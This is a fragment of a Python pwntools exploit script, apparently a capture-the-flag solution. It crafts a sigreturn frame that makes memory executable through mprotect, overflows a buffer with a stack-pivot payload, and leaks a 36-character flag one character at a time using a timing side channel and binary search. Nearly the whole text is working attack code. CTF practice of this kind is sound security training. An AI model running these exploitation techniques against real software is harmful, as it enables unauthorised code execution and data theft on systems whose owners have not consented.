    frame = SigreturnFrame()    frame.rax = constants.SYS_mprotect    frame.rdi = 0x404000    frame.rsi = 0x1000    frame.rdx = 7    frame.rsp = bss+0x210    frame.rip = 0x401186    pay1 += bytes(frame)    pay1 += p64(0x404060)
    # gdb.attach(p, 'b *0x40118E')    # sleep(1)
    p.sendafter(b"easyhack\n", pay1)    p.recvline()        payload = b'A'*0x2A    payload += p64(bss+0x100)    payload += p64(0x401441) # level; ret    p.send(payload)    p.send(p8(idx)+bytes([ch]))        t = time.time()    p.clean(0.3)    t = time.time()-t    p.close()    print(t)    return t > 0.28

flag = ""for i in range(len(flag), 36):    l = 0x2D    r = 0x66    while l < r:        mid = (l+r)//2        res = test(i, mid)        if res:            r = mid        else:            l = mid+1        print(l, r, chr(l), chr(r))    flag += chr(l)    print(flag)
print('flag{'+flag+'}')